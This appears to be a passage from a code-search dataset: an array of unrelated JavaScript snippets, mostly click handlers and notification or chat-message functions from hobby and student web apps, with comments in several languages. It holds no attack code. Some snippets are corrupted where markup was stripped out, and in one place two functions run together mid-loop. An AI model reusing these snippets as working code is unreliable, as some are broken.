Dom(tabelas_visoes[modo].mostrar.elementos[i]);\n divs_combate.style.display = 'block';\n }\n gEntradas.modo_visao = modo;\n AtualizaGeralSemLerEntradas();\n}","function verify() {\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\n\n\n\n $(\"#altaProductoBoton\").on(\"click\", verificarAltaProducto);\n $(\"#altaCategoriaBoton\").on(\"click\", verificarAltaCategoria);\n $(\"#bajaProductoBoton\").on(\"click\", verificarBajaProducto);\n $(\"#modificarproductoBoton\").on(\"click\", verficiarModificarProducto);\n $(\"#modificarProductoConfirmBoton\").on(\"click\", verficiarModificarConfirmProducto);\n\n\n}","function clickAssess() {\n\t$.trigger(\"clickAssess\");\n}","siguienteNivel() {\n this.subNivel = 0;\n this.iluminarSecuencia();\n this.agregarEventosClick();\n }","function ClickSalvar() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n HabilitaOverlay();\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\n CarregaPersonagens();\n DesabilitaOverlay();\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('salvo com sucesso.'));\n });\n}","function ClickVisualizacaoModoMestre() {\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\n AtualizaGeralSemLerEntradas();\n}","function checkUser(){\n //console.log('check user started');\n cumputerTurn = false;\n if(userClicked == true){\n \n }\n}","function ClickAdicionarEscudo() {\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\n AtualizaGeralSemLerEntradas();\n}","function clickEnCasilla(x, y) {\n if (miPartida.tableroGirado) {\n x = 7 - x;\n y = 7 - y;\n }\n\n let blanca = esBlanca(miPartida.tablero[x][y]);\n let negra = esNegra(miPartida.tablero[x][y]);\n\n if (!miPartida.hayPiezaSelec) {\n if (miPartida.turno && blanca || !miPartida.turno && negra)\n realizarSeleccionPieza(x, y);\n } else {\n if (esMovValido(x, y)) {\n if (siPeonPromociona(x))\n modalPromocionPeon(x, y);\n else {\n enviarMovimiento(x, y, null);\n realizarMovimientoYComprobaciones(x, y, false);\n }\n } else {\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\n // Compruebo que este pulsando una pieza y que sea de mi color\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\n eliminarEstiloMovPosibles();\n realizarSeleccionPieza(x, y);\n }\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\n eliminarEstiloMovPosibles();\n deseleccionarPieza();\n }\n }\n }\n}","function iniciar() {\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \n divRespuesta = document.getElementById('divRespuesta');\n var botonAlta = document.getElementById('botonAlta');\n botonAlta.addEventListener('click', altaUsuario); \n}","function IniciarEventos(){\n\t$('#guardar').click(guardardatos)\n\t$('#cancelar').click(function(){window.history.back()})\n\tshowmessage()\n}","function escucha_Permisos(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByClassName(\"work_data\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\n aanvalActie = false;\n aanvalKnopStatus = false;\n beweegActie = false;\n beweegKnopStatus = false;\n beurtVeranderen();\n veranderKleur(donkerblauw,wit);\n veranderKleur(lichtblauw,wit);\n }\n}","function ocultable_click() {\n if (!edicion) {\n $(this).siblings('.ocultable-contenido').slideToggle();\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\n }\n }","function conocerEvento(e)\n{\n\n\tvar evento = e || window.event;\n\n\t\t//document.getElementById(\"evento\").value = e.type;\n\n // console.log(\"evento\");\n // console.log(e);\n\n if(evento.type == \"click\")\n {\n\n //console.log(\"nombre del click\");\n //console.log(evento.path[0].id);\n\n var nombreclick=evento.path[0].id;\n\n\n //continuar\n if(nombreclick.substr(0,10) == \"continuar\")\n {\n //alert(\"click\");\n //var id=nombreclick.substr(7);\n //console.log(\"comienza valor\");\n //console.log(nombreclick.substr(8));\n //alert(\"empezo entreno\");\n\n //id_plan = document.getElementById(\"codigoplan\").value;\n //console.log(id_sesion);\n //almacenarlocal('id_plan', id_plan);\n //una();\n\n }\n\n\n\n\n }\n\n\n // switch(evento.type) {\n // case 'mouseover':\n // this.style.borderColor = 'black';\n // break;\n // case 'mouseout':\n // this.style.borderColor = 'silver';\n // break;\n // }\n\n}","function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\r\n\r\n\t$(\"#btnModificarAprendiz\"+contador).click(function(){\r\n\r\n\t\tlimpiarFormulario(\"formModificarAprendiz\");\r\n\t\t\r\n\t\t$(\"#txtIdAprendiz\").val(idAprendiz);\r\n\t\t\r\n\t\t$(\"#txtIdentificacionAprendizMod\").val(identificacion);\r\n\t\t$(\"#txtNombreCompletoAprendizMod\").val(nombreCompleto);\r\n\t\t$(\"#selectFichaAprendizMod\").val(idFicha);\r\n\t\t$(\"#selectDetalleEstadoAprendizMod\").val(idDetalleEstado);\r\n\t\t\r\n\t});\r\n}","function changeUserStatut() {\n $('.sidebar').on('click', '.user-login li a', function(e) {\n e.preventDefault();\n var statut = $(this).find('span').text();\n currentStatut = $('.user-login button span').text();\n $('.user-login button span').text(statut);\n if (statut == 'Busy') {\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\n }\n if (statut == 'Invisible') {\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\n }\n if (statut == 'Away') {\n $('.user-login button i:not(.fa)').removeClass().addClass('away');\n }\n });\n}","function posarBoleta(e) {\r\n// console.log(\"has clicat el \"+ e.target.getAttribute('id'));\r\n if (numDeClics==0) {\r\n //si guanya\r\n if (e.target.getAttribute('id')==aleatorio) {\r\n resultat(\"guany\", \"Felicitats :)\");\r\n // resultat(\"Felicitats :)\");\r\n //si perd\r\n }else{\r\n // resultat(\"Torna a provar! :S\");\r\n resultat(\"perd\", \"Torna a provar! :S\");\r\n\r\n }\r\n numDeClics=numDeClics+1;\r\n }\r\n}","function cambiarEstado(e) {\r\n e.preventDefault();\r\n var contadore = 0;\r\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\r\n if (e.target.classList.contains('activo')) {\r\n e.target.classList.remove('activo');\r\n } else {\r\n for (var x = 0; x < reserva.children.length; x++) {\r\n if (reserva.children[x].classList.contains('activo')) {\r\n contadore++;\r\n }\r\n }\r\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\r\n e.target.classList.add('activo');\r\n } else {\r\n Swal.fire({\r\n icon: 'error',\r\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\r\n text: 'Error'\r\n });\r\n }\r\n }\r\n }\r\n}","creanOnClick() {\n\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\n\n switch (currentAssignmentType) {\n case AssignmentType.USERTOTASK:\n console.error(\"Template.assignmentCalendar.events.click .creneau\", \"User can't normally click on this kind of element when in userToTask\");\n return;\n break;\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\n break;\n }\n }","function verAcuerdoEspecialBonificaciones(id)\n{\nif(document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display==\"block\")\n {\n document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display=\"none\";\n document.getElementById(\"buttonVerDatosAcuerdoEspecialBonificaciones\"+id).innerHTML=\"Ver\";\n }\nelse\n {\n var requerimiento = new RequerimientoGet();\n requerimiento.setURL(\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\");\n requerimiento.addParametro(\"id\",id);\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\n requerimiento.ejecutar();\n }\n\n}","elegirColor(ev){\n console.log(ev);\n //capturamos el color que presiona el usuario\n const nombreColor = ev.target.dataset.color;\n //convertimos a numero el color que selecciona el usuario\n const numeroColor = this.transformarColorANumero(nombreColor);\n //iluminamos el color que apreto el usuario\n this.iluminarColor(nombreColor);\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\n if (numeroColor === this.secuencia[this.subnivel]) {\n this.subnivel++;\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\n if (this.subnivel === this.nivel) {\n this.nivel++;\n //eliminamos los eventos click que ya ocurrieron\n this.eliminarEventosClick();\n if (this.nivel === (ULTIMO_NIVEL +1)) {\n this.ganarJuego();\n\n } else {\n setTimeout(this.siguienteNivel,1500);\n }\n } \n } else {\n //PIERDE\n this.perderJuego();\n }\n \n }","function mostrarDevoluciones(){ // Cuando toque el boton \"devoluciones\" voy a ver la seccion (hacer devoluciones)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; // habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; // oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divEntregas\").style.display = \"none\"; // oculto tabla\r\n document.querySelector(\"#divDevoluciones\").style.display = \"block\"; // muestro redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"none\"; // oculto visualizar estadisticas\r\n}","metodoClick(){\n console.log(\"diste click\")\n }","function logNewsClickForUser(user_id, news_id, user_ip) {\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\n if (err) throw err;\n });\n }","function fAppMeteo() {\n $(\"#bokm\").click(fAffMeteo);\n}","function sitClick(sitID) {\n \n currentSituation = findSituationByID(sitID);\n refreshRateIndicator();\n refreshSituationButtons();\n refreshSpiritQuotes();\n refreshSpiritIcon();\n refreshUnderstanding();\n \n}","function _attivaIsola(){\r\n\t\t\t$('.isola').each(function(){\r\n\t\t\t\tif($(this).is('[id^=\"isola'+isolaIndex+'\"]')){\r\n\t\t\t\t\t$(this).addClass('attiva').removeClass('spenta');\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$(this).removeClass('attiva').addClass('spenta');\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t$('.testo-isola#t'+isolaIndex).addClass('presente');\r\n\r\n\t\t\tclicking = true;\r\n\t\t}","function mostrarEstDocente(){ // Cuando toque el boton \"estadisticas\" voy a ver la seccion (ver estadisticas)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; //Habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; //Oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divDevoluciones\").style.display = \"none\"; // oculto redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"block\"; // muestro visualizar estadisticas\r\n generarListaAlumnos();\r\n}","function ActivarAyudaContextual(bDevolverExitoEjecucion)\r\n{\r\n\tif (bARQAyudasContActivas)\r\n\t\tquitarIconoAyudasCont();\r\n\telse\r\n\t\tponerIconoAyudasCont();\t\t\r\n}","function triggerEvent(event, id) {\n\n event.addEventListener('click', function (e) {\n if (event.id == \"fallevent\") {\n document.getElementById(\"patient!@!local\").classList.add('rotate-fall');\n }\n if (event.id == \"normalevent\") {\n document.getElementById(\"patient!@!local\").classList.remove('rotate-fall');\n }\n fetch(`/${event.id}?username=${id}`, {\n method: 'POST'\n }).then(function (response) {\n response.json().then(function (json) {\n\n responseString = response.status + \" - \" + response.statusText;\n if (response.ok)\n return toastr[\"success\"](json.text, responseString);\n\n else if (response.status != 401)\n return toastr[\"warning\"](json.text, responseString);\n\n else\n throw new Error(responseString);\n });\n })\n .catch(function (error) {\n toastr.error(error, {\n timeOut: 10000\n });\n });\n });\n}","function theClick() {\r\n console.log('inicia')\r\n dataNodes()\r\n dataElements()\r\n backEnd()\r\n}","function cargarEvento(){\n\t\n\tif(document.readyState==\"interactive\"){\n\t\tdocument.getElementById(\"id_enviar\").addEventListener(\"click\",peticionAlta,false);\n\t}\n}","clickHandler(evt) {\n if (evt.target.classList.contains('fa-check')) {\n gameApp.eventHandler(evt);\n }\n\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\n gameApp.activateContract(evt);\n }\n\n if (evt.target.classList.contains('loc')) {\n gameApp.addLoc();\n }\n\n if (evt.target.classList.contains('nav-button')) {\n let elem = evt.target;\n gameApp.gameView.changeMenue(elem);\n }\n }","function iniciar(){ \r\n\tvar botonBuscar = document.getElementById( \"botonBuscar\" ); \r\n\tbotonBuscar.addEventListener( \"click\" , botonPresionado, false ); \r\n} // fin de la función iniciar ","function verReservasClick(opcion){\r\n let container;\r\n let container2;\r\n let almacenados;\r\n \r\n switch (opcion)\r\n {\r\n \r\n case \"crucero\": \r\n //// Cruceros \r\n container = document.querySelector('#crucerosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesCruceros\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `

    ${objeto.nombre}

    \r\n
    Reservado por: ${objeto.reservadoPor}
    \r\n
    Cantidad de personas: ${objeto.cantidad}
    \r\n
    $ ${objeto.precio}
    `;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"crucerosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n \r\n case \"aereo\":\r\n ///// Aereos\r\n container = document.querySelector('#aereosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesAereos\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `

    ${objeto.nombre}

    \r\n
    Reservado por: ${objeto.reservadoPor}
    \r\n
    Cantidad de personas: ${objeto.cantidad}
    \r\n
    $ ${objeto.precio}
    `;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"aereosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n case \"auto\": \r\n //// AUTOS\r\n \r\n container = document.querySelector('#autosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"autosReservados\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `

    ${objeto.nombre}

    \r\n
    Reservado por: ${objeto.reservadoPor}
    \r\n
    Cantidad de días: ${objeto.cantidad}
    \r\n
    ${objeto.seguro}
    \r\n
    $ ${objeto.precio}
    `;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"autosReservados\").appendChild(contenedor2);\r\n }\r\n \r\n break;\r\n \r\n default:\r\n break;\r\n }\r\n \r\n }","function constroiEventos(){}","function cambioDePagina(xhttp) {\r\n let paginaAnterior = document.getElementById(\"paginaAnterior\");\r\n\r\n let paginaSiguiente = document.getElementById(\"paginaSiguiente\");\r\n\r\n paginaAnterior.addEventListener(\"click\", function() {\r\n if (xhttp.info.prev) {\r\n traerPersonaje(xhttp.info.prev, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas antes de esta\")\r\n }\r\n });\r\n paginaSiguiente.addEventListener(\"click\", function() {\r\n if (xhttp.info.next) {\r\n traerPersonaje(xhttp.info.next, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas despues de esta\")\r\n }\r\n\r\n });\r\n}","function onyeshaYaliyomo(kiungo, e, rangi, id) {\n e.preventDefault();\n let viungo, yaliyomo;\n viungo = document.getElementsByClassName(\"kiungo\");\n yaliyomo = document.getElementsByClassName(\"yaliyomo\");\n\n // ficha 'yaliyomo' zote kabla ya yote\n for (let index = 0; index < yaliyomo.length; index++) {\n const element = yaliyomo[index];\n element.style.display = \"none\";\n }\n\n // Ondoa darasa la 'hai' kwenye viungo vyote\n for (let index = 0; index < viungo.length; index++) {\n const kiungo = viungo[index];\n kiungo.className = kiungo.className.replace(\" hai\", \"\");\n kiungo.style.backgroundColor = \"transparent\";\n }\n\n // Onyesha kiungo hai na Yaliyomo yake\n kiungo.className += \" hai\";\n kiungo.style.backgroundColor = rangi;\n let yaliyomoHai = document.getElementById(id);\n let seksheni = document.getElementById(\"tabu-kurasa-nzima\");\n yaliyomoHai.style.display = \"block\";\n // yaliyomoHai.style.backgroundColor = rangi;\n seksheni.style.backgroundColor = rangi;\n}","function addEventsEntrega(){\r\n let btnsEntrega = document.querySelectorAll(\".entrega\"); \r\n for(let i=0; i
    \n

    \n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n if(sucess_error==='error'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n
    \n
    \n
    \n \n
    \n

    ${mensagem}

    \n
    \n
    \n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n setTimeout(() => {\n document.getElementById('message').remove()\n }, 3000);\n }","function sendMessage(){\n //Gets the message that will be sent to the server and put it into variable\n var msgToSend = g.messageBox.value.trim()\n \n //Checks whethers it is null, does not want to send empty string\n if(msgToSend != \"\"){\n //Stops the script from updating every 5 seconds, makes it synchronous,\n //then sends messages and finally makes it asynchronous again.\n clearInterval(g.updateInterval);\n serverRequest(getParams(msgToSend),false);\n g.updateInterval = setInterval(getMessages, 5000); \n g.messageBox.value = \"\"; //clear message box\n }\n}","function messageNoHousehold() {\n addMessage('You aren\\'t a registered member of a household. Click \"Household\" on the navigation menu to create or join a household.', 'error');\n}","_msgCallback(err) {\n if (err) {\n console.log(err);\n // TODO: Handle it by showing a prompt\n }\n\n // Re-enable message composer\n this.setState({\n busy: false\n });\n }","function test(message) {\n return 0;\n}","function HataMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Hata !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Error !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'error', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function sendMessage(){}","function failedsent() {\n console.error(\"Invio delle notizie non riuscito!\")\n $(\"#formerr\").fadeIn(750);\n $(\"#infomsg\").text(\"Invio delle notizie non riuscito!\");\n $(\"#formerr\").delay(3000).fadeOut(2000);\n}","function obtenerMensaje1(campo){\n\tvar mensaje = \"\";\n switch(campo){\n case 'idproraz': mensaje = \"Si modific&oacute; alg&uacuten campo de este m&oacute;dulo debe justificar.\";\n\tbreak;\n\t}\n\treturn mensaje; \n\t\n}","function alertNotificar(texto, tipo){\n PNotify.removeAll()\n new PNotify({\n title: 'Mensaje de Información',\n text: texto,\n type: tipo,\n hide: true,\n delay: 7000,\n styling: 'bootstrap3',\n addclass: ''\n });\n }","function showMessageDestinatario(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\r\n\t\tlastSender = IS_LAST_DESTINATARIO;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function notif(message, success){\n success = (typeof success !== 'undefined') ? success : true;\n $('
    ' + message + '
    ')\n .prependTo(\"body\")\n .fadeIn('fast')\n .delay(5000)\n .fadeOut('fast')\n .queue(function(){$(this).remove()});\n}","function checkMessage(inputMsg) {\n if(inputMsg == undefined){\n return \"\";\n }\n else{\n return inputMsg;\n }\n }","function notyMessage(statue) {\n $.noty.defaults.killer = true; //closes existing notys\n noty({\n text: 'Congratulations, you found ' + statue.name + '. X ',\n layout: 'topCenter',\n closeWith: ['click'],\n type: 'success'\n });\n}","registeredMsg() {\n return 'You are already regsitered!';\n }","function ClearStatusMsg() \n {\n\n SetStatusMsg(\"StatusMsg\", \"\");\n }","function mensagem(texto) {\n $(\"#erro p\").text(texto).addClass('alert-danger').addClass('alert');\n\n if (texto)\n $(\"#erro\").show(\"slow\");\n else\n $(\"#erro\").hide(\"slow\");\n\n setTimeout(function () {\n $(\"#erro\").hide('slow');\n }, 3000);\n}","function limpaMensagens() {\n $rootScope.messages.length = 0;\n }","function process_event(event){\n // Capturamos los datos del que genera el evento y el mensaje\n var senderID = event.sender.id;\n var message = event.message;\n \n // Si en el evento existe un mensaje de tipo texto\n if(message.text){\n console.log('=========MENSAJE DE ============')\n console.log('Mensaje de ' + senderID);\n console.log('mensaje: ' + message.text);\n\n if(message.text === 'Integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n if(message.text === 'integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n}\n \n // Enviamos el mensaje mediante SendAPI\n //enviar_texto(senderID, response);\n }","function notifyFail(msg) {\n const notifcns = document.querySelector('#notifications');\n if (notifcns) notifcns.remove();\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\n const notificationsHtml = `
    ${msg}
    `;\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\n document.querySelector('nav .notifications').classList.remove('hide');\n }","function displayMessage(msg) {\r\n $('#msg').bind(\"DOMSubtreeModified\", function () {\r\n window.setTimeout(function () {\r\n $(\".alert\").fadeTo(500, 0).slideUp(500, function () {\r\n $(this).remove();\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n });\r\n }, 2500);\r\n });\r\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\r\n $('#msg').html('
    ' + msg + '
    ');\r\n}","function piman_send_message(msg,error){\n msg = '' + msg + '';\n\n $(window).scrollTop($('body').position().top)\n\n $(\"#notifications_content\").html(msg)\n .addClass(error ? 'error' : 'success');\n\n $(\"#notifications\")\n .toggle()\n .delay(5000).fadeOut()\n .click(function(){$(this).stop(true,true).fadeOut()});\n\n}","_ackSendMessageHandler(json){\n\t if (json.user !== CooperativeEditorParticipants.userName ){\n \t\t\tthis.domHost.playTTS(json.user);\n \t\t}\n\n \t\tthis.push('messages', {\"user\": json.user, \"message\": json.message, \"time\": json.time});\n \t\tthis.domHost.playSound(\"sendMessage\", json.effect, json.position);\n \t\t\n \t\tthis.isTyping = false;\n }","function ChatMessage() {\n if (document.getElementById(\"chatSend\").value.trim() != \"\") {\n var ChatMsg = document.getElementById(\"chatSend\");\n ChatUser(ChatMsg.value);\n //ChatAdmin(\"Please wait\");\n // var blMsg = SendNewMsg(ChatMsg.value);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n //alert(\"End\");\n\n // var blMsg = CallSendMsg(cntMsg);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n var blMsg = ShowAdminMessage(ChatMsg.value);\n if (blMsg) {\n cntMsg = cntMsg + 1;\n }\n\n //ChatSuggestions(\"test2\");\n ChatMsg.value = \"\";\n return false;\n }\n}","function _noconn()\n\t{\n\t\tUTILS.msgbox(\"You do not have a good enough signal to complete the request. Please try again later.\", \"No Connection\");\n\t}","function Fnc_BuscarInformacionHogar(s, e) {\n\n if (txtIdentidad.GetText() != \"\" || txtHogar.GetText() != \"\") {\n var NumHogar = (txtHogar.GetText() == \"\") ? 0 : txtHogar.GetText()\n if (txtIdentidad.GetText() != \"\") {\n if (txtIdentidad.GetText().length != 13) {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error dede de ingresar un numero de identidad valido\")\n $(\".error\").show()\n return 0;\n }\n }\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\n\n } else {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error no debe de haber campos vacios\")\n $(\".error\").show()\n }\n\n}","_createMessage() {\n let messageArr = ['абонент', 'абонента', 'абонентов'];\n\n function createMessage(number, startWord) {\n let endMessage = null;\n let startMessage = (number === 1) ? startWord : (startWord + \"o\");\n\n if(number === 1) {\n endMessage = messageArr[0];\n } else if (number == 12\n || number == 13\n || number == 14) {\n\n endMessage = messageArr[2];\n } else if( number.toString()[number.toString().length - 1] === '2'\n || number.toString()[number.toString().length - 1] === '3'\n || number.toString()[number.toString().length - 1] === '4') {\n\n endMessage = messageArr[1];\n } else {\n endMessage = messageArr[2];\n }\n\n return startMessage + \" \" + number + \" \" + endMessage;\n }\n\n noty({\n text: createMessage( (this._correctData.length), 'Загружен'),\n type: 'success',\n timeout: '3000'\n });\n\n if(this._inCorrectData.length) {\n noty({\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\n type: 'error',\n timeout: '3000'\n });\n }\n }","limparMsgAlert() {\n divMsg.innerHTML = \"\";\n\n\n }","function congratsMessage(){\n\tif (matchedCards.length === 16){\n\t\tsetTimeout(function(){\n\t\t\ttoggleModal();\n\t\t\t},1000);\n\t\tstopTimer();\n\t}\n}","function callbackValidation(msg){\n swal({\n title: msg,\n text: 'por favor revise sus datos',\n imageUrl: '../assets/img/callback/missing.png',\n imageHeight: 90,\n animation: true,\n confirmButtonColor: '#4fa7f3'\n })\n}","function warn(msg){\n\t\t\n\t\tflashCount = 0;\n\t\t\n\t\tif ( null == msg ){\t\n\t\t\tfaultMsg=\"The inverter has faulted!\"; \n\t\t\t$(\"#alarmMessage\").html(\"The inverter has faulted!\");\n\t\t} else {\n\t\t\tfaultMsg=msg;\n\t\t\t$(\"#alarmMessage\").html(\"FAULTS:\"+msg);\n\t\t}\n\n\t\t$(\"#alarm\").show();\n\t\tif ( !booFault ) {\n\t\t\tbooFault = true;\n\t\t\tscreenFlash();\n\t\t\tsoundAlarm();\n\t\t}\n\t\t\n\n\t}","function mensaje(){\n\treturn 'Hola Mundo JavaScript';\n}","function onSendMessage(){\n var msg = document.getElementById(\"usermsg\").value;\n if(msg == \"\") alert(\"assicurati di inserire il testo da inviare\");\n else {\n if(sex == \"lui\")\n msg = \"newMsg \" + name + \":
    \" + document.getElementById(\"usermsg\").value + \"
    \";\n\telse\n msg = \"newMsg \" + name + \":
    \" + document.getElementById(\"usermsg\").value + \"
    \";\n //alert(msg);\n connection.send(msg);\n document.getElementById(\"usermsg\").value=\"\";\n }\n}","function testingMSGS(){\n \n}","function mensaje(){\r\n document.write(\"Holissss\");\r\n document.write(\"*************\")\r\n}","function submitMsg() {\n // only submit messages\n if(ctrl.inputMsg.length > 0) {\n SocketService.submitMsg(ctrl.inputMsg);\n\n // empty the message box\n ctrl.inputMsg = '';\n }\n }","function removeMSG(msg) {\n setTimeout(function () {\n var Idx = msg.Msg;\n var isConf = !!msg.UID;\n\n var message = document.getElementById(isConf ? \"conf-\" + msg.UID + \"-\" + Idx : \"priv-\" + Idx);\n\n if (message){\n message.innerHTML = \"\";\n }\n }, 100);\n }"],"string":"[\n \"function onMessageArrived(message) {\\n console.log(message.payloadString);\\n mentrada=message.payloadString;\\n document.getElementById(\\\"tanto\\\").innerHTML=mentrada;\\n\\tc=1+1;\\n if (mentrada == \\\"0\\\"){\\n\\t\\talert(\\\"No hay alimento en el dispensador\\\");\\n\\t}\\n\\n }\",\n \"function msgPerdeu() {\\n swal({\\n title: \\\"Perdeste!\\\",\\n type: \\\"error\\\",\\n timer: 3000,\\n showConfirmButton: false\\n });\\n bloqueioBoneco();\\n }\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function imprimir(mensaje){\\n console.log(mensaje);\\n}\",\n \"function clearSuccessMessage() {\\n\\n }\",\n \"function mensajes(respuesta){\\n\\n\\t\\t\\t\\tvar foo = respuesta;\\n\\n\\t\\t\\t\\t\\tswitch (foo) {\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"no_exite_session\\\":\\n\\t\\t\\t\\t\\t\\t//============================caso 1 NO EXISTE SESSION==================//\\n\\t\\t\\t\\t\\t\\tswal(\\n\\t\\t\\t\\t\\t\\t\\t\\t'Antes de comprar Inicia tu Session en la Pagina?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\\n\\t\\t\\t\\t\\t\\t\\t\\t'question'\\n\\t\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\t\\t\\t\\t\\t\\tcase \\\"saldo_insuficiente\\\":\\n\\t\\t\\t\\t\\t\\t//==============CASO 2 SALDO 